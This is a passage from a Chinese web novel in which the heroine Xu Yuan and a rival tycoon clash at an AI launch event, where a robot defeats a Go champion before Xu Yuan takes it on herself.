首先许愿在海外的影响力很大,在暗网之前就有很多人因为倾慕她,那时候了解许愿的还没有那么多人,多的是知道许愿真实身份,清楚她是盛华真正幕后老板的资本和海外贵族,所以那时候在海外就算有人发布嘲讽许愿的言论多半也会被许愿在海外的人脉针对,或者嘲回去,聪明人都会知道许愿在海外的人脉有多广了,所以久而久之海外那个圈层都知晓许愿不是个可以轻易招惹的人。 莱蒂斯不同。 莱蒂斯跟许愿可以说是死仇,且他认为自己才是海外最顶尖的资本所以不惧那些人,就是要明面硬刚许愿。 许愿本来身份就摆在那里,再加之暗网被许愿捣毁,且曾经捣毁暗网的还是许愿的母亲苏青莲。 许愿本身的光环,加上母亲苏青莲的光环,更让海外那群人产生慕强心理。 轻而易举捣毁暗网,给了海外普通人群多大的安全感,若是暗网壮大起来,那海外就不再安全,甚至可以说是底层人民的人间炼狱。 不论许愿是出于什么目的,她都是利用自己的所掌控的人脉和实力捣毁了暗网。 做这种正义的事怎么能因为她是纯正的华国人就无视她的功勋呢? 她所做的就是会让人倾佩。 莱蒂斯惹到许愿可以说真的是踢到铁板了。 你骂其他人嘲其他人海外的路人吃瓜群众可能会团结起来帮你攻击对方,但你嘲许愿,你什么东西啊你嘲许愿?之前支持暗网那个是不是就是你啊?没骂死你就是好的,现在还冒头。 莱蒂斯果然被喷了。 看到网络上一群人追着自己骂,莱蒂斯又开始在家里面打砸,脾气也越来越暴躁了。 特别是有人评论了一句“如果莱蒂斯不主动挑衅许,许大概都忘了莱蒂斯这号人物了吧。” 事实确实是这样,就因为事实如此,若依莱蒂斯才更加不能接受,破防的更厉害,整个人都有点癫了。 在许愿的视频传播到外网后,莱蒂斯连着发了几条视频,纷纷表示自己一定会带着丘利亚打败许愿的人工智能。 大概是担心这群人不相信自己,还发了丘利亚后空翻的视频。 但没有人关注这个,所有人都在嘲他去看医生了没有,带着丘利亚一起去看医生了没有。 第902章 请你立刻滚过来 现在没有人去管莱蒂斯什么心情。 谁管他是不是在发正经视频,群嘲就对了。 莱蒂斯气的整个人都要心脏病发了。 可不管怎么样,发布会马上就要举办了,就在第二天,莱蒂斯清楚,只要自己的人工智能真的能赢过许愿,那群人就没得嘲了,一定会让那群人明白,只有他的人工智能才是真正的巅峰。 莱蒂斯这边气到呼吸困难,抱着自己的机器人丘利亚盯着丘利亚开始问。 “丘利亚你有什么想对许愿的咪咪说的吗?” 丘利亚机器人呆滞了一瞬,脸上的智能版都是一片滞后空白,开始搜索“咪咪”,然后搜索出的全都是被叫做咪咪的猫咪。 丘利亚奶呼呼的开口:“主人,请问你是在问小猫咪吗?” 莱蒂斯:“……” 莱蒂斯嘴角抽了抽:“我是说许愿的猫咪。” 丘利亚又是一阵茫然后回应:“主人是许愿想得到一只猫咪吗?” 莱蒂斯:“?Fuck!” “请不要说脏话!警报警报,请不要说脏话!” 莱蒂斯本来已经被许愿和那些看热闹的网友气到心脏疼,现在又被自己的小机器人气到了,眼睛都红了。 你以为他为什么要说脏话!因为你这个废物啊! 莱蒂斯呼吸困难,缓了又缓暴怒:“艾瑞克!请你立刻滚过来!” 莱蒂斯还是很有礼貌的,他还说了请。 艾瑞克过来之前还跟自己的助理吐槽。 “我的老天啊,莱蒂斯是疯了吗?无缘无故为什么要去挑衅许?到底是谁给了莱蒂斯的自信认为我能比过许的?我是什么东西?” “许的那只机器人说的没有错,莱蒂斯真的需要看看脑子!” 艾瑞克的助理谨慎的回应:“那个……还不算机器人吧,许说那就是测谎仪,专门用于测谎的,对许来说算是最低端的一款产品了。” 艾瑞克又是眼前一黑。 莱蒂斯自己发疯挑衅许愿,等以后被扒出来自己是项目负责人肯定要被群嘲的。 冷静冷静,都是为了钱,都是为了钱。 艾瑞克心里烦躁,满脑子想的都是大骂莱蒂斯。 正巧接到了莱蒂斯的电话,请他滚过去。 艾瑞克深吸一口气带着自己的资料滚过去了。 莱蒂斯怀里还抱着丘利亚,见到艾瑞克过来怒道:“为什么丘利亚不能像许愿那款机器人一样引擎准确搜索!” 艾瑞克擦了擦额头的冷汗。 “莱蒂斯先生,丘利亚也只是我们研发的比较智能的机器人,可以做一些基础简单的回答,并不能引擎搜索精准到回答您所有的问题,最起码是……做不到许那只机器人那种程度的。” 莱蒂斯阴沉着一张脸:“你是说我们精心研发的智能机器人还比不过许愿手里那款专用于测谎的机器人?” 莱蒂斯像听到艾瑞克反驳自己的观点,并拿出有力证据来证明丘利亚这款机器人比咪咪更强,但艾瑞克没这个自信,也没莱蒂斯这么癫。 “是的莱蒂斯先生,我们比不过。”艾瑞克诚实回答。 莱蒂斯怒吼:“许愿手里那款机器人只是测谎仪!” “是测谎仪,但也是远超于我们的丘利亚。”艾瑞克继续诚实作答。 莱蒂斯觉得自己再次呼吸不畅了。 艾瑞克偷偷觑他一眼然后开口:“莱蒂斯先生,我觉得您大可不必这么慌,许说了,她没打算让咪咪出面,明天我们的丘利亚要对战的是华国的围棋国手,许愿说不打算让丘利亚出面那就绝对不会让丘利亚出面,只要我们赢了华国的围棋国手,也算是让人工智能划时代了。” 莱蒂斯不觉得这是什么夸奖的话。 这只能说许愿压根没瞧上他们的丘利亚。 但咪咪不上场也算是一件好事。 莱蒂斯咬牙:“我们研发的新车型你确定能碾压许愿的那款车对吗。” 明天人工智能就算赢了也已经被许愿的咪咪碾压了,所以莱蒂斯高兴不起来,现在就把一切都压在新车上了。 他等着艾瑞克的回应。 艾瑞克轻咳一声:“大……概?” 莱蒂斯完全不想看到艾瑞克了。 跟艾瑞克聊完莱蒂斯已经开始不自信了。 “好了,请你滚吧。”莱蒂斯忍着怒意让他滚。 艾瑞克早不想多待,乐颠颠滚了,甚至想莱蒂斯还没有真正的失控呢,瞧瞧,都说“请让他滚”呢。 艾瑞克走了,莱蒂斯脸色也更加难看了。 莱蒂斯的助理是个聪明人,赶紧凑过来说些莱蒂斯爱听的。 “先生,我觉得您不必太过忧心,虽然人工智能这一块可能比不过许,但我们的新车是试验过很多次的,绝对能碾压许的车,等到那时我们的新车就可以推出市面,彻底碾压许的车企,这对我们来说就算是胜利了。” 莱蒂斯听了面色稍有缓和。 是啊,他们人工智能虽然会输给许愿,但他们的新车绝对不会输。 莱蒂斯这边这么慌,许愿却完全不当回事,她这边已经录制完今天的节目了,许愿甚至问节目组有没有兴趣去现场直播录制。 宋玥立刻精神了,那种高端技术发布会也是她们节目组可以进去的? 但许愿都开口了就证明真的可以。 宋玥连连应了,许愿便打了通电话,带着节目组去了发布会附近的酒店,结果因为这次的的发布会,附近酒店已经住满了。 “算了,你们去我跟阿炎在那边的房子先凑合一下。” 最后许愿拍板决定代节目组去了自己在附近的庄园。 是的,庄园。 因为这次发布会不仅要挑战华国的围棋国手,还会试验新车需要跑道,帝城最适合试验新车的跑道稍微偏了点,所以定在这边,之前唐文晞送给她的庄园就在这边。 节目组战战兢兢的驱车进去。 庄园的管家立刻为他们安排房间。 管家也是唐文晞安排的,为了以防许愿来这边什么都没准备,所以这边的房间每天都有专人打扫,来了就可以直接住人。 这座庄园,说是庄园,倒不如说是城堡更为确切。 第903章 瞧不起我还是瞧不起咪咪 这座庄园是帝城有名的风景之地,只不过几年前被人以天价拍下,所以没有人有资格进入这里甚至还能在这里进行直播拍摄的。 这才是节目组震惊且谨慎的原因。 庄园占地面积很大,需要开十几分钟的车才能从正门抵达城堡内部。 城堡庄园背靠帝城苍翠山峦,右侧是帝城有名的湖泊,东侧是各式各样的花田,有很多节目组都叫不出名字的花朵,特别是玫瑰花田占据了大部分区域,节目组导演宋玥忍不住想到许愿最喜欢的是红色,而最喜欢的花就是玫瑰,所以这边果然种满了红玫瑰。 宋玥也是女人,忍不住因为这边的风景而痴迷。 “许总,我记得这边的庄园好像被人秘密拍走了,那人是许总你吗?” 宋玥可还记得这庄园前几年被拍走的。 许愿挑眉道:“其实我并不喜欢这种特别大的城堡庄园,会让我觉得有些空,比起这种我更喜欢跟阿炎住在我们那套公寓内。” 宋玥想了下许愿和盛景炎住的那套公寓。 嗯,那公寓也不小吧。 注明的富人公寓,随便一套都要有三百平左右,而许愿还奢侈的用另一套公寓当衣帽间。 不过比起这样的庄园,那套公寓实在是小太多了,可以说是迷你的程度。 宋玥一边觉得许愿有点凡尔赛,一边等着许愿后面的话。 她等了一会儿许愿才再度开口。 “庄园不是我拍下的,是我哥哥送给我的。” 这个哥哥,说的就是唐文晞。 这是当初唐文晞拍下来的庄园,后来当做见面礼送给了许愿,大概是真的很感激苏青莲,所以唐文晞真的把许愿看做亲妹妹那样疼爱,总想把最好的都给她。 许愿提到哥哥宋玥却满脑子问号,想了好一会儿突然想到了唐文晞。 瞬间羡慕到落泪了。 唐文晞,TS的总裁,许愿身边真的没有一个弱者啊。 管家带着一群佣人为节目组介绍屋内的陈设,甚至体贴的问大家有没有兴趣看看主家的后花园,那必然是有兴趣的。 宋玥从来到这边就已经让摄影师打开了摄像头录制,这段一定要剪辑进正片里面。 转过了后花园路过了这边的巨大停车场,宋玥有点想看这边的停车场都有什么豪车,事实上就连许愿也不清楚这边有多少辆车。 她没来过这里,都是唐文晞准备的。 等节目组众人步入停车场后才看到车尾满满当当全都是豪车,最便宜的都是几百万的豪车,甚至其中还有一款用来收藏的在拍卖场已经炒到天价的股东跑车。 宋玥眼睛都看直了,节目组里面没有人不震惊。 宋明远更是在这一刻才特别明显的感觉到许愿的富有跟他的富有完全不是一个层面的。 他就完全不配跟许愿相提并论,或许自己很看重的资产,可能都不够许愿一个零头的。 杜佳阮目光呆滞眼睛发直,嗅闻着停车场内的汽油味儿,甚至有点陶醉,然后看向自己身旁的搭档,本想说句什么,就见沈从已经好奇宝宝似的凑近了这里碰一碰那里戳一戳的,俨然是很爱的模样。 杜佳阮唇角抽了抽,然后有点酸酸的开口:“真羡慕你啊,被许总签了,就许总的人品家底,你如果不大爆那都对不起许总的资源。” 沈从憨笑一声:“我也觉得。” 杜佳阮撇撇嘴,心里更酸了。 不过没办法,许愿并没有特别喜欢她,而且最主要的,她不是沈从这样的小可怜被压榨这么多年,所以许愿不会想着拯救她签下她。 最重要的是经纪公司对她很好,这几年一直都把最好的资源给了她,就算知道她没那么漂亮也在捧她,所以她还真没办法离开自己现在的公司。 人有时候还是要有点良心的。 杜佳阮不够漂亮,但还是知道什么叫做知遇之恩的,若非是现在的经纪公司给了她机会,就冲着她的颜值在圈子里都没有出头之日。 杜佳阮又酸巴巴的看着那堆豪车,就差没流口水了。 周鹤瑾也是有些惊愕,确实,没有男人不爱车。 “周老师想开一开吗?” 许愿问。 周鹤瑾看向她询问:“可以吗?” “当然可以。”这么小的事情许愿也不会拒绝他。 周鹤瑾也确实跃跃欲试,开着跑车转了一圈,整个人都好像回到了刚出道那会儿意气风发的模样,眼睛都是亮晶晶的。 许愿看他这副模样也不由得弯弯眼睛笑了。 其实许愿并不知道车库里面会有这么多车,唐文晞对她是真的宠,就连车都要给她塞满。 她甚至拍了张照传给唐文晞。 【许愿】:怎么真的准备了这么多车? 海外那边是白天,唐文晞还在工作,几乎是秒回。 【唐文晞】:大概是因为我强迫症,你就当是限量玩具车,不必在意。 也就只有真的这么豪横的人才能说价值连城的豪车是玩具车,这种顶级炫富的话许愿听了都眼角抽了抽。 倒是唐文晞那边很快又发了消息过来。 【唐文晞】:莱蒂斯那件事需不需要我帮忙? 【许愿】:……? 【许愿】:你瞧不起我还是瞧不起咪咪? 【唐文晞】:是我的错,我瞧不起莱蒂斯。 许愿看到这回应才骄傲的点了下头。 这才对嘛。 …… 第二天,有关于世界最先进的人工智能相关的发布会正式举行。 莱蒂斯早早到场,现场座无虚席,有海外赶过来的发烧友,也有国内的大拿,纷纷来参加这次的发布会。 台下已经坐满了观众,都在讨论这次的发布会,不少人提到丘利亚和咪咪。 莱蒂斯已经在现场展示自己的丘利亚机器人,让丘利亚唱甜歌,跟记者互动,甚至后空翻,现场都在夸好萌好可爱。 不提其他的,丘利亚确实可爱。 “丘利亚跟咪咪到底谁会赢啊?”这是一个圈外人,完全不懂机器人,但就是花钱来看热闹的。 坐在他旁边的也不懂这个,但一脸凝重道:“我虽然不懂机器人,但我懂许总和莱蒂斯,许总会输给莱蒂斯吗?不可能,虽然是刻板印象,但绝对也是真相。” 做他们后面的女生摇晃着手里的横幅开口:“对啊!丘利亚怎么可能跟咪咪比啊!” 女生的横幅上还是盛景炎和许愿的合照。 得,连许愿和盛景炎的CP粉也来了。 第904章 拿人跟机器比? 莱蒂斯怀里抱着的就是机器人丘利亚,橙黄色的外形跟国内的奶龙很像,软萌可爱,只看丘利亚的相貌,真的很难说出讨厌这机器人的话。 但看到莱蒂斯那骂人的话还是到喉咙口了。 机器人在可爱那也是外国货,又不是华国的,而且莱蒂斯这人还挑衅了许愿,再加上……丘利亚可爱归可爱,可能有咪咪可爱吗! 咪咪才是最可爱的,不接受反驳! 为了莱蒂斯来的那些海外的观众却被丘利亚萌到了,时不时赞叹“好萌,好可爱”,虽然海外骂莱蒂斯的人多,但丘利亚确实可爱,这喷不了,再加上那圆滚滚的外形,在海外圈了不少粉儿。 丘利亚的主研究院艾瑞克就站在莱蒂斯身边,面上笑呵呵心里却有点慌,就是有点害怕见到许愿,还真的怕许愿带了咪咪来。 许愿还没有到场,现在算是莱蒂斯的现场。 各大媒体蜂拥而至,对着台上的莱蒂斯一顿狂拍。 已经有记者把话筒举到了莱蒂斯面前,大声询问。 “莱蒂斯先生,您有看到许愿老师对您的回应吗?” “请问您觉得丘利亚真的能赢过许愿老师的测谎机器人咪咪吗?” “请问您为什么一直要盯着许愿老师?” “据说莱蒂斯先生曾经追求过许愿老师也追求过许愿老师的前夫且均被拒绝,请问是因爱生恨吗?” 这个记者真的很敢问。 四个问题,一个比一个尖锐,一个比一个过分。 就跟没把莱蒂斯当人看似的。 莱蒂斯脸都僵住了,眼皮狠抽了下。 问他这些的是华国记者,而且是那种并不多公正像是粉着许愿故意来找茬的,但偏偏这位戴眼镜的女记者脸上全都是笑意,看不出半点咄咄逼人的劲儿。 长了一张娃娃脸,说出口的话跟刀子一样嗖嗖往他胸口扎。 这是真狠啊。 莱蒂斯深吸一口气,勉强的扯出一个笑脸。 “事实上我并不关注许愿老师的回应,我只是想证明我的丘利亚才是最棒的人工智能,希望大家能够理解,我就是对丘利亚很自信。” 虽然昨天问了丘利亚的那些问题丘利亚都没有回应上来,但莱蒂斯总不能自己打自己的脸,昨天都那么嘲讽许愿了,现在肯定要回应的自信些,不然不知道多少人等着看他好戏呢。 女记者又逼问:“莱蒂斯先生不关注许愿老师的话为什么会挑衅许愿老师呢?” 莱蒂斯表情都有几分阴狠之意,艾瑞克干笑两声也知道再问下去莱蒂斯会更加不爽,赶紧拦在前面笑眯眯道:“大家不好奇有关丘利亚的事吗?我是研发出丘利亚的父亲,大家有什么疑问可以尽管开口。” 女记者还想继续问莱蒂斯,可艾瑞克已经挡住对方了,也只好作罢随便敷衍的问了几个问题。 事实上女记者对丘利亚并没有兴趣。 虽然设计的外形圆滚滚的很可爱,可比起丘利亚她更喜欢许愿那个测谎机器人。 女记者也是追了许愿参加的恋综,知道咪咪回答问题的时候有多流畅多迅速,丘利亚就是在回答问题这里都比不过咪咪。 “请问您对机器人丘利亚有信心吗?真的认为丘利亚可以赢围棋国手李老师吗?” 艾瑞克微笑:“我对我发明的机器人丘利亚很有信心,虽然李老师很优秀,但现在是人工智能的时代,真正的人工以后会逐渐被取代。” 对自己机器人很有信心不就是暗示一定会赢? 女记者又问了几句,艾瑞克都滴水不露的回应了。 莱蒂斯这才跟艾瑞克对视了一眼,两人是都认为丘利亚会赢。 女记者还想再问几个问题,忽然现场传来一片惊呼声。 记者们看过去,果然看到了许愿和盛景炎,甚至就连段星河也来了! 女记者也不盯着莱蒂斯和艾瑞克了,一溜烟跑过去,记者们纷纷过去,莱蒂斯这里方才还被围堵现在却门可罗雀,跟许愿那边形成了鲜明对比。 莱蒂斯脸色铁青,艾瑞克赶紧安抚了句。 “莱蒂斯先生,现场这么多人,您要控制住自己的情绪,不然海外的媒体杂志又要批判您了。” 莱蒂斯咬牙低声道:“他们批判的还少了,现在不管我能否控制自己的脾气,那群人都是要群嘲的,那群记着在看不起谁,我难道不如许愿吗!” 艾瑞克干笑心道您怎么能跟许愿比啊,他都算是许愿的粉丝,如果不是老板莱蒂斯就在现场,艾瑞克是真的很想冲到许愿面前聊一聊人工智能的。 记者们已经冲到许愿几人面前,段星河懒懒散散的插兜跟在一旁,头顶还有呆毛在乱晃,像是没睡醒一样。 段星河是被许愿大早上一通电话吵醒的,说是他最近一直闷在研究所里面都没出来过,让他出来转一遭。 段星河哪有这兴致啊?压根不打算来。 最后还是许愿跟他比赛一场赢了没睡醒的段星河把人忽悠来的。 女记者冲的快,却不像方才那般把话筒堆到莱蒂斯面前那样无理,而是带了点距离然后问道:“许老师您觉得这场比赛最终的接过是谁会赢呢?是我们的围棋国手李云伟老师会赢还是莱蒂斯先生带来的丘利亚会赢呢?” 女记者很想听许愿反驳莱蒂斯,让他知道轻重,省的瞧不上国内的围棋国手。 但许愿还没开口呢,段星河就已经啧了一声笑了。 “拿人跟机器比,还问最后结局,你也是挺有意思。” 女记者还没明白段星河这意思呢,许愿便提醒似的看他一眼,段星河轻咳一声:“行吧,你继续问许愿,我不插嘴。” 女记者又看向许愿,目光灼灼的等着许愿的回应。 “许愿老师您认为李老师有可能赢过丘利亚吗?” 她声音有点大,坐在台上的李云伟已经看过来,似乎是也在等着许愿的回应。 许愿只轻微敛眉:“李云伟老师会输。” 她就这么直接的开口了。 李云伟的脸色有些难看,似乎是没想到许愿真的这么直接的说出这句话。 第905章 更像人工智障 女记者有些不舒服追问:“许老师能说说原因吗?围棋不是普通的游戏,属于是竞技类运动,需要测算数据的,人工智能就算厉害应该也还比不过人脑才对。” “围棋不仅是一项娱乐活动,也是一门智力运动和文化艺术,我不认为外国人研发的智能机器人能赢过我们的围棋国手。” 女记者对自己国家的围棋老师有很深的滤镜。 其实如果是许愿研发的机器人,那女记者认为是有赢的可能的,因为许愿是华国人,肯定了解围棋,才能编撰出应对的策略代码,莱蒂斯和艾瑞克不同,他们是外国人,外国人懂什么国旗?他们玩的明白跳跳棋就不错了。 许愿扫了眼不远处莱蒂斯怀里抱着的丘利亚机器人,淡淡开口:“围棋的产生,应是古代人们在长期的实践中,从一些简单的数字游戏、博戏发展而来。围棋结构抽象、复杂,充满了数学的趣味,古人将其称作“手谈”。” “从这里你就可以了解到围棋其实可以算做可以归类为数学游戏。” “且围棋非常看中一个人的计算能力、创造能力、思维能力、判断能力……你知道这一点的话就应该大概明白我为什么说李云伟老师会输。” “普通人类下棋和机器下棋是不同的,普通人类是需要时间去思考去计算的,可丘利亚不是,丘利亚是智能机器人,你还可以把他看作是一部超导电脑,作为一部跨世纪的超导电脑在算数据方面几乎是不会出错的。” “电脑的计算能力、判断能力和思维能力是远高于人类的,纵然人类的创造能力是比电脑要高,但在围棋的厮杀战场上,普通人类还要同时判断自己后续的棋子落在什么地方,只靠着创造力去对付一部超导电脑还想赢那根痴人说梦没什么区别。” “我这么说你可能不理解,我简单解释下。” “如果你将计算能力、创造能力、思维能力、判断能力都是百分制且总分最高分的人会获得胜利,超导电脑除去创造能力其它三项都会是满分,所以就算是创造能力零分也能拿到高分。但普通人就不同,就算创造能力拿满分,其它三项就已经被超导电脑直接碾压拿捏,除非你能保证肯定自己的大脑比之超导电脑的计算更准确更迅速,但这几乎是不可能的。” “丘利亚是机器,他能够长时间的保持保持最佳状态不会疲惫,但李云伟老师不一样,他就是普通人类,他会累会思维混乱,所以我才说这场比赛最后会赢的是丘利亚。” 许愿说的太客观,他并非是在贬低李云伟,她只是说明了客观事实。 拿人跟机器比这个,跟耍流氓没什么区别。 女记者听懂了,有些发愁的看了李云伟一眼,显然是不想看到围棋国手输给丘利亚。 人类在这方面也会输给智能机器的话,那人类还会有未来吗? 许愿的回答莱蒂斯自然也听到了,此刻拍手鼓掌:“许愿说的没错,所以丘利亚一定会赢,而我们开发了以丘利亚为机械蓝本融入到最新款的车子中,开创了智能车型,也必定会引领新时代,许总好像还没有研究到这里。” 莱蒂斯笑意幽深,像是嘲讽许愿不如他。 许愿今天戴了副眼镜,听了莱蒂斯的话笑了笑,摘了眼镜递给盛景炎,盛景炎收起她的眼镜。 许愿才要开口,段星河就已经笑眯眯的走近几步,前一秒在笑,下一秒就冷冰冰的瞥他一眼。 “你说你要用丘利亚为蓝本去开创智能车型?用这样弱智的人工智能吗?”段星河丝毫不给莱蒂斯面子,上来就是嘲。 莱蒂斯脸色冷下来,段星河嘲讽的开口:“丘利亚确实已经超越了很多人工智能,但丘利亚在我这里智能算是才出生的连哭都不会哭的有缺陷的人工智能,他今天的围棋比赛能赢只是因为计算能力远超普通人类,但若是开发智能软件运用到新车型上,那我只能说你们无知可笑不把人命当一回事。” “他现今的智能程度还远远达不到取代人类的地步,像你们这样贸然运用在新车型上是对人类的生命安全的漠视。” 段星河这样冷酷的指出莱蒂斯所谓的人工智能的弊端,他的点评毫不留情。 特别是提到丘利亚是有缺陷的人工智能,这一点让莱蒂斯脸色愈发难看。 “段先生不要把话说的太满,第一局是丘利亚对上你们的围棋国手,第二句才是试验我们彼此的新车,还没到那一步,真到了试车这一步我会让段老师知道我们丘利亚并不是笑话,更没有缺陷。” 段星河双手揣兜笑着“哦,那你很自信啊,这世界上比我还自信的人真的不多见了,你算一个,了不起。” 这话真不像是在夸奖,更像是嘲讽。 莱蒂斯此刻更烦这群华国人了,觉得他们说话都只会阴阳怪气,许愿说话都不会这么难听。 也不对!许愿才是最会胡说八道,今天没说那些完全是被段星河拦住了! 果然,跟许愿玩到一起的能是什么好货色! 莱蒂斯直接给段星河扣上了不好相处的帽子,把他彻底归拢到跟许愿一条船。 段星河懒洋洋道:“等李云伟老师战败后,你不是约好了跟许愿试新车比一场吗?到那时许愿自然会向你证明你们的丘利亚的人工智能多低劣,不配上桌。” 莱蒂斯面容略微有些扭曲的死死盯着他。 段星河被他这样盯着瞧也不恼,反而嗤笑一声:“如果今天许愿带来了咪咪,如果我现在攻击的是咪咪,咪咪一定会抓住我的漏洞来反击我,会跟我有来有回,但你的丘利亚却像是傻瓜一样完全不知道我在嘲讽侮辱他,这难道还不算是人工智障吗。” 话音一落现场观众面色各异。 的确。 段星河的话都说的难听到这种程度了,丘利亚可是一句都没有回应呢。 本来就是直播,所有人都能看到许愿和段星河是怎么针对莱蒂斯的,段星河有时候说话可比许愿毒多了。 第906章 输了 {其实我们国内的一些AI智能软件你骂他几句他还会反驳呢,但莱蒂斯夸得天花乱坠上天入地的丘利亚真是……有点废物了。} {说起来我还是更喜欢许愿那个测谎仪机器人,这东西以后会大范围售卖吗?我非常需要拿来测一测我爱人对我的忠心……} {啧,真要售卖的话很多男人就要慌了。} {我有一个好想法,测谎仪机器人咪咪什么都能查到什么都能搜到甚至反驳,那是不是代表法律条文也全都了解,也可以上法庭当做机器人律师?而且人类律师并不能知道对方是不是在撒谎,咪咪就不一样了,她能查到的可就太多了,甚至都可以少很多冤案了。上个月不就有一个被误判根本没有杀人结果关了十五年的人吗?现在才知道误判放出来,家人当年全都扛不住打击去世,他的母亲也疯掉了,他出来的时候只赔偿了两百万,这根本就是人间惨剧,而且最重要的一点是真正的杀人犯良心发现主动自首才知道当年是误判,如果那个时候就有咪咪,那他就不会遭受这一切。} {说的我瞬间毛骨悚然,咪咪真的很有用啊。} {所以莱蒂斯是凭什么认为自己的丘利亚能跟许愿的咪咪相比的?我看这就是他疯了。} 都不用莱蒂斯的丘利亚跟咪咪相比,大众就已经将咪咪跟丘利亚之间分了高下。 可以说莱蒂斯从来都不配被许愿当做对手,如果是商圈的事莱蒂斯可以搏一搏,但研究方面,谁给他的自信? {我真的很想看看咪咪出现在现场然后爆虐丘利亚的,那画面绝对更有意思。} 这是大众都想看到的画面。 网络上一片嘲讽声音,想要观看比赛的人很多,但想看咪咪和丘利亚对峙大概是不能了,因为许愿根本没带咪咪来。 许愿还会照顾下记者,但段星河就没那个心思,此刻看着狂拍自己的记者面上露出几分轻蔑的冷笑。 “李云伟会输,但他会输不代表丘利亚就能运用在汽车自动驾驶中,我和许愿都没能研发出真正的自动驾驶,丘利亚一个残疾半成品人工智能……配吗?果然是海外的企业,完全不在意人命,说句更难听的话,这何尝不是在谋杀消费者?” 段星河说的话毫不留情,现场看热闹的人都等着段星河说出更难听的话。 海外的观众像是觉得有点丢人,毕竟现在被针对的是自己国家的金融圈大佬。 所以?到底为什么想不开一定要针对许愿?嘲讽许愿做什么?还不是回旋镖扎到自己身上了? “好了,段老师,不必再说了,还是要给我们莱蒂斯先生稍微留点面子的。” 等段星河嘲够了,许愿才出面阻止,很明显的也是拉偏架的。 真要想阻止早就开口了,也不会等段星河全嘲完。 主持人也赶紧上来主持现场,莱蒂斯的脸色这才好看了一些。 许愿面色平静的坐到为自己安排的座位,眼底的凉意还很是明显,她在等着莱蒂斯出丑。 艾瑞克赶紧劝着莱蒂斯:“莱蒂斯先生,比赛马上开始,他们会知道丘利亚有多聪明的。” 但这话说出来艾瑞卡自己都不信。 丘利亚聪明吗?比起李云伟是聪明的,许愿和段星河也说了丘利亚会赢李云伟会输,所以这场比赛丘利亚就算赢了……好像也并不算是幸事。 艾瑞克心里面忍不住暗骂了一声。 比赛已经开始了,大屏幕上出现的就是丘利亚和李云伟正在酣战的那盘棋局。 就像段星河说的那样,丘利亚落子非常快,几乎是不用多加思考棋子就出现在棋盘上,因为他是机器人,他的计算能力是普通人类的千百倍,反观李云伟最初还能稳定心神的跟上丘利亚,但不过五六子李云伟的棋子落得越来越慢了 ,速度慢下来 ,思维能力也跟不上了,指尖夹着棋子却又不敢往棋盘上放,总觉得现在棋子放哪里都是错的。 四十分钟后,李云伟满脸冷汗面色苍白的颤抖着指尖又落一子,他思考良久才落子,丘利亚下一秒迅速落子,再度让李云伟崩溃。 现场并不多安静,有人在座位上讨论着他和丘利亚的棋局,他已经被人工智能逼得节节败退,毫无反抗的能力。 李云伟的心态已经彻底崩了,面上冷汗不断。 现场的观众看客也察觉到了他的不适,许愿微微抿唇淡淡开口:“他已经输了。” 是的,李云伟已经输了,他已经不知道接下来一子要落到什么地方了。 他又恍惚片刻,终于还是擦拭着额头的冷汗,抬头面向镜头,嗓音带着哑意开口:“我已经输了。” 裁判也愣住了,看向棋盘终于知道李云伟有多崩溃。 裁判也心有戚然。 这么快就输了,不说其他的,丘利亚是真的能赢过人类的。 就算早知道丘利亚会赢,可真到了这时刻现场的观众还是有些难过。 人工智能的智商会一点点提高到碾压人类的地步,就像现在这样。 围棋国手李云伟也输了。 这场比赛丘利亚赢的太轻松,李云伟也输的台迅速悲惨。 莱蒂斯看着眼前这一幕扬眉吐气得意的再次抬高头颅,丘利亚赢了,就代表他已经赢了。 艾瑞克也有些激动,正要说点什么发表自己的想法,结果下一秒许愿看着台上崩溃的李云伟眸光深了几分。 她看向盛景炎,盛景炎面上还是带着笑,像是对她的鼓励,段星河还是懒懒散散的没什么回应。 许愿已经走上台。 “那么现在,该由我来跟丘利亚比一局了。” 丘利亚好像听懂了许愿这话,此刻脑袋上出现了一圈黑线。 莱蒂斯还记得许愿说要跟丘利亚比一场,他根本没打算拦着,想亲眼看自己的机器人是如何碾压许愿的。 许愿再厉害,难道真的能比围棋国手还厉害吗?难道真的能比过人工智能的计算能力吗? 这样瞧着,像是笑话一样。 第907章 他的大脑要烧坏了 很多人都不理解,许愿明知道人工智能的计算能力远超人类为什么还要去跟丘利亚比? 跟丘利亚比如果输掉了比赛莱蒂斯是一定会得意认为自己碾压了许愿。 明知道是输,为什么还要比? 他们不明白。 节目组的人也看不懂了,直播间里面的观众也都在问为什么要跟丘利亚比? {许愿明知道会输为什么还要跟机器人比?这场对决该放咪咪出来啊!} {对,机器人就该跟机器人比,哪有让机器人跟人比的,太过分了,莱蒂斯来这一出就是不怀好意,恶心!} {咪咪出场绝对能碾压丘利亚的。} {我就是说……大家着什么急啊,这可是许总,许总从来不打没有准备的仗,有没有可能许总是可以赢的?如果是别人可能很悬,但她是许愿啊。} 直播间的人看到这句也是恍惚了一瞬。 对啊。 她是许愿啊,许愿怎么会输呢? 虽然心里这么想,可还是忍不住内心发慌。 就连节目组的导演宋玥都有点忧心,担心许愿会输,眼神不停的往盛景炎这边飘。 “想问什么?” 盛景炎能注意不到她的眼神了,有些无奈的开口。 宋玥尴尬的笑了下:“盛总不怕许总会输吗。那毕竟是跟机器人来比赛……就算是许总,恐怕也悬吧,毕竟李云伟老师是围棋国手,拿过奖的都输了,许总……她会围棋吗?” 盛景炎轻笑:“我记得阿愿说过了,围棋本质上是一种数学游戏,李云伟老师是很厉害,但阿愿跟丘利亚的对决你说是委屈倒不如宏观去想……这只是一场数据游戏的较量。” “咪咪能赢丘利亚,而许愿作为咪咪的研发者,你认为许愿赢不了丘利亚吗。”盛景炎反问了句,让宋玥愣神。 对啊,许愿都能研发出咪咪了,怎么可能比不过丘利亚? 宋玥不急也不慌了,倒是莱蒂斯脸上都是得意之色等着许愿输掉比赛出丑。 唯有艾瑞克一言难尽的看着莱蒂斯。 莱蒂斯是真的没有想过,这场比赛若是许愿赢了会代表什么吗?这明显是被许愿刺激的昏了头了。 他们举行这一场会议,就是为了让这些人知道人工智能可以打败人类,可若是许愿赢了丘利亚,那这一些就全部都成了虚的假的。 算了,已经没办法阻止了,许愿已经上场了。 比起李云伟和丘利亚对决,现场的人更想看的还是许愿跟丘利亚对决。 比赛正式开始。 与李云伟相比,许愿下棋的速度非常快,几乎跟丘利亚是一个速度,丘利亚落一子许愿便马上落一子,现场都一片寂静,仿佛只能听到落子的声音。 李云伟坚持了三十多分钟,可在许愿这里三十分钟已过,许愿孩子继续落子,速度并未慢下来。 现场有很多懂围棋的,看到这一幕哦度睁大了眼睛,越看越不淡定。 